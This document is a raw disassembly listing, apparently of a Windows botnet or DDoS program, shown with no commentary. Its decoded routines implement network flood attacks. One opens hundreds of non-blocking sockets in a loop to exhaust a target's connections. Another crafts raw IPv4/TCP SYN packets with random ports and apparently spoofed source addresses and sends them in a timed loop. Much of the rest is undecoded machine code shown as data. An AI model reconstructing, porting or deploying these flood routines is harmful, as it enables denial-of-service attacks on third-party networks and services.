		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 2770B29h
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------

loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435B4C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------

loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]

loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4CB03C
		pop	esi

loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax

loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh
		dd 50004CAFh, 0FC44858Dh, 4C68FFFFh, 5000435Ch,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CAF8415h
		db 0, 83h
word_412F4E	dw 0FFF8h		; DATA XREF: ___:off_43A1B4o
		dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C1Ch, 891CE850h
		dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah
		dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h,	846CE8C8h
		dd 5959FFFFh, 51E89057h, 8D022BD0h, 0FFFE4885h,	15FF50FFh
		dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BFCh, 88B4E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h
		dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh,	856EE850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0DD1805C6h
		dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch
		dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch
		dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h
		dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h
		dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h
		dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h
		dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h
		dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h
		dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh,	0FF004CB0h
		dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh,	435BB468h
		dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h,	0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h
		dd 0FF022BCEh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B6868h
		dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch
dword_413284	dd 0B8EC8B55h, 10320h, 888FE8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+550Fo
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h
		dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h
		dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 0A468FFFFh, 5000435Ch, 8589E8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh
		dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CAEBCh, 0C0753B46h,	75FFDA7Ch, 5C15FF08h, 8D004CB0h
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C7868h, 0BBE85000h
		dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h
		dd 59FFFF80h, 0F1E85359h, 90022BCBh
dword_413410	dd 0B8EC8B55h, 10310h, 8703E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+575Bo
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0D896E800h
		dd 50900226h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	0F868FFFFh
		dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	0DBE81175h
		dd 99000083h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	838DE8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0CFDAE890h
		dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h,	0FFDCB9h
		dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 0CC68FFFFh, 5000435Ch, 82A5E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h
		dd 575959FFh, 0C9DAE890h
		db 2Bh,	2
word_413626	dw 8B55h		; DATA XREF: sub_401ACD+4DECo
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 5D2068FFh, 0E8500043h, 820Ah, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h,	5959FFFFh
		dd 0C93EE856h, 5F90022Bh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C5	proc near		; CODE XREF: ___:004137AEp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413783
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_413710:				; CODE XREF: sub_4136C5+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413718:				; CODE XREF: sub_4136C5+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373B
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop

loc_41373B:				; CODE XREF: sub_4136C5+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413718
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_413749:				; CODE XREF: sub_4136C5+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_413749
		push	64h
		call	near ptr 2670580h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_41376D:				; CODE XREF: sub_4136C5+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376D
		dec	[ebp+arg_4]
		jnz	short loc_413710
		pop	edi
		pop	esi
		pop	ebx

loc_413783:				; CODE XREF: sub_4136C5+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C5	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C5
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BD
		push	1
		pop	eax

loc_4137BD:				; CODE XREF: ___:004137B8j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4137CC	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+6449o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D4Ch, 8064E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF7BB2h, 90565959h, 2BC797E8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386B	proc near		; CODE XREF: ___:00413B59p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4138AB
		xor	eax, eax
		jmp	loc_413B19
; ---------------------------------------------------------------------------

loc_4138AB:				; CODE XREF: sub_41386B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB048
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B11
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CAF84
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B07
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CAFA4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CAFA4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CAFA4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CAFA4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2780000h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 2770B29h
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_413996:				; CODE XREF: sub_41386B+25Dj
					; sub_41386B+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAFA4
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAFA4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAFA0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAFA4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADB
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2770B29h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B04
		jl	loc_413996
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B04
		jmp	loc_413996
; ---------------------------------------------------------------------------

loc_413ADB:				; CODE XREF: sub_41386B+247j
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_435D74
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_413B07
; ---------------------------------------------------------------------------

loc_413B04:				; CODE XREF: sub_41386B+25Bj
					; sub_41386B+269j
		mov	ebx, [ebp+arg_8]

loc_413B07:				; CODE XREF: sub_41386B+78j
					; sub_41386B+297j
		push	[ebp+var_C]
		call	dword_4CB03C
		pop	esi

loc_413B11:				; CODE XREF: sub_41386B+5Bj
		call	dword_4CAEFC
		mov	eax, ebx

loc_413B19:				; CODE XREF: sub_41386B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386B	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386B
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B68
		push	1
		pop	eax

loc_413B68:				; CODE XREF: ___:00413B63j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413B77	db 55h			; DATA XREF: sub_401ACD+6E44o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 9468FFFFh, 5000435Dh
		dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3E8F075h, 59FFFF78h,	0E8905659h, 22BC3E8h, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch
		dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 8415FFFCh, 0BE004CAFh, 200h,	77D3E856h, 3D8B0000h, 4270A8h
		dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh,	0F9F7CB8Bh
		dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 7B52h,	0E0458966h, 7B49E8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h
		dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h,	0FFFC75FFh
		dd 4CB03C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_413E35	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+53E8o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270A8h
		dd 0E850D7FFh, 7A58h, 0FF6859h,	36A0000h, 15FF026Ah, 4CB024h
		dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch,	0FFFBC085h
		dd 5EAC68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh,	858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h
		dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h
		dd 0C0858D50h, 68FFFFFBh, 435E74h, 7958E850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 435E5468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h
		dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh,	7598h
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CAFA4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
